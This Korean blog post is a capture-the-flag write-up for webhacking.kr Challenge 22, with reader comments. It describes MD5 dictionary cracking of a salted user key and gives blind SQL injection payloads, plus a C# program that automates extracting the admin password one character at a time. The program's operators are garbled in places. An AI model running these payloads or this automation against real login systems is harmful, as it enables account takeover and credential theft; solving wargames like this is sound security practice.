    sweetchip 님 제가

    ') or substring(id,1) like 'a'#

    라고 해봤는데 안되더라구요..

    이건 왜 안되는지 혹시 아시나요??

    • 2014.05.14 22:08 신고 수정

      오래전에 푼 문제라 잘 기억이 나지 않습니다 ㅠ-ㅠ

안녕하세요


요즘 webhacking.kr 문제를 풀고 있습니다.


간단하게 write_up을 해보려고 하는데, 정말 진심으로 실력을 늘리고 싶은 분들께는 아래 더보기를 누르지 마시기를 강력히 추천드리며


정말 모르시겟다면 결정적 힌트 두가지를 드리겠습니다.


힌트



힌트에 공감이 가시는 분은 다시한번 도전해보시고 정말 모르겠다면 Write_up을 함께 봐주세요


Write_up
//webhacking.kr Challenge 22

가장먼저 보면 아마 다음문구가 있을것입니다.




echo("hi! $id<br><br>");
echo("your password is $pw<br><br>");
if($id=="admin")
echo("good! Password is $solution");

우리의 목표는 바로 admin 계정으로 접속을 하는것입니다만,, index.phps 는 제공되지 않습니다.

어쩔수없이 패턴 체크 루틴을 게싱을 해야할수밖에 없게됩니다.

username 부분에 union 을 쓰면 no hack 이라고 나오게 되는데요,

이런식으로 추측하시면 되겠습니다. 일단 join 버튼이 있으니 눌러봅시다. [이런것들은 80% 활용하라고 놓인것이지요]

아이디를 a, 패스워드를 a 라고 만들면 다음과 같은 창이 뜹니다.



저의 키는 884... 이것입니다. 일단 저 md5를 곰곰히 생각해봤습니다.

이리저리 굴려보다가 http://md5.web-max.ca/ 에서 md5를 사전 대입크랙 하자 azombie 라는 답을 줬습니다.

그러면 다시 한번 아이디를 c, c1 해서 키 값을 크랙하면 c1zombie 라는 결과가 나오게 됩니다.

* 중간 결론 : 비밀번호 zombie 문자열이 user key 이다.


자 그러면 이제 blind sql injection을 시도해보겠습니다.


아이디는 admin이고, 그에따른 적절하게 공격구문을 만들어보겠습니다.


----------------------blind sql injection 구문 --------

admin' and ascii(substr(pw,1,1))=100#

----------------------blind sql injection 구문 --------

* blind sql injection 기술은 따로 서술하지 않겠습니다.


이런식으로 하나하나 값을 얻어냅니다.


하지만 대부분 사람은 손으로 대입하는 사람은 없을겁니다.


그래서 저는 C# 자동화 프로그램을 만들었습니다.


Source Code ----------------------------------------------------------------


public CookieContainer cookie = new CookieContainer(); // 쿠키 컨테이너


public void login() // 로그인

{

HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://webhacking.kr/index.html?enter=1");

req.Proxy = null;

req.Method = "POST";

req.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0";

req.ContentType = "application/x-www-form-urlencoded";

req.CookieContainer = cookie;

req.KeepAlive = true;


StreamWriter writer = new StreamWriter(req.GetRequestStream());

writer.Write("id=myid&pw=mypw");

writer.Close();


HttpWebResponse result = (HttpWebResponse)req.GetResponse();

}


public void send() // injection

{

HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://webhacking.kr/challenge/bonus/bonus-2/index.php");

req.Proxy = null;

req.Method = "POST";

req.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0";

req.ContentType = "application/x-www-form-urlencoded";

req.CookieContainer = cookie;

req.KeepAlive = true;


StreamWriter writer = new StreamWriter(req.GetRequestStream());

writer.Write("id=admin' and ascii(substr(pw," num ",1))=" bpint "#&pw=asd");

writer.Close();


HttpWebResponse result = (HttpWebResponse)req.GetResponse();

Stream re = result.GetResponseStream();

StreamReader red = new StreamReader(re, Encoding.Default);

string str = red.ReadToEnd();


if (str.Contains("Wrong password!") == true)

{

listBox1.Items.Add(bpint);

bpint = 29;

num ;

}

else

{

bpint ;

}

}

--------------------------------------------------------------------------------------


위 소스를 바탕으로 다음과 같은 결과를 뱉어냅니다.





총 32자를 구해서 admin 의 user key를 알아낼수 있습니다.

userkey를 마찬가지로 크랙해서 admin의 패스워드를 알아내고

그 패스워드를 기반으로 로그인 하면 500점을 득점 하게 됩니다.


감사합니다.




신고

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05
Webhacking.kr 46번 write up  (2) 2012.11.04
Webhacking.kr 37번 Write up  (2) 2012.11.04
webhacking.kr 45번 write up  (2) 2012.11.02
webhacking.kr Challenge 22 Write up.  (2) 2012.11.01

Comment 2